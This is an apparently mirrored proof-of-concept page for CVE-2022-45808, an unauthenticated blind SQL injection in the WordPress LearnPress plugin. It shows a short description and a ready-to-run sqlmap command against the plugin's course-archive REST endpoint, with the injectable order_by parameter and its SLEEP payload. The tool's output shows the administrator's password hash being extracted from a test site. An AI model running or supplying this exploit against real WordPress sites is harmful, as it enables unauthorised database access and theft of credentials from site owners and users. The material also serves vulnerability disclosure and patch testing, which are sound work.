Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2022-45808 PoC — WordPress Plugin LearnPress SQL注入漏洞

Source
Associated Vulnerability
Title:WordPress Plugin LearnPress SQL注入漏洞 (CVE-2022-45808)
Description:WordPress和WordPress plugin都是WordPress基金会的产品。WordPress是一套使用PHP语言开发的博客平台。该平台支持在PHP和MySQL的服务器上架设个人博客网站。WordPress plugin是一个应用插件。 WordPress Plugin LearnPress 4.1.7.3.2及之前版本存在SQL注入漏洞,该漏洞源于存在SQL注入。
Description
LearnPress Plugin < 4.2.0 - Unauthenticated SQLi
Readme
# CVE-2022-45808
LearnPress Plugin &lt; 4.2.0 - Unauthenticated time-based blind SQLi

# Description
The plugin does not properly sanitise and escape the order by parameter before using it in a SQL statement, leading to a SQL injection exploitable by unauthenticated users

POC
---

```
$ python sqlmap.py -u 'http://wordpress.lan:80/wp-json/lp/v1/courses/archive-course' --data='c_search=X&order_by=ID&order=DESC&limit=10&return_type=html' --level=5 --risk=3 --dbms='MySQL ' --sql-query "select user_pass from wp_users where id = 1"
        ___
       __H__
 ___ ___[,]_____ ___ ___  {1.7.8.2#dev}
|_ -| . [,]     | .'| . |
|___|_  [,]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 16:42:20 /2023-08-18/

[16:42:20] [INFO] testing connection to the target URL
you have not declared cookie(s), while server wants to set its own ('_learn_press_session_ecdcb476a7a41733a2e77015a9cd81cf=1465cc7e87c...bc806e4a24'). Do you want to use those [Y/n] y
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: order_by (POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: c_search=X&order_by=ID AND (SELECT 1471 FROM (SELECT(SLEEP(5)))VcSO)&order=DESC&limit=10&return_type=html
---
[16:42:22] [INFO] testing MySQL
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] y
[16:42:37] [INFO] confirming MySQL
[16:42:37] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions 
[16:42:48] [INFO] adjusting time delay to 1 second due to good response times
[16:42:48] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian
web application technology: PHP 8.0.30, Apache 2.4.56
back-end DBMS: MySQL >= 8.0.0
[16:42:48] [INFO] fetching SQL SELECT statement query output: 'select user_pass from wp_users where id = 1'
[16:42:48] [INFO] retrieved: 1
[16:42:50] [INFO] retrieved: $P$BTMtNrAkEBrIUt
```
File Snapshot

[4.0K] /data/pocs/384a352fd0bf4dcea853462a8b257afd4232233b ├── [ 34K] LICENSE └── [2.3K] README.md 0 directories, 2 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).
    3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.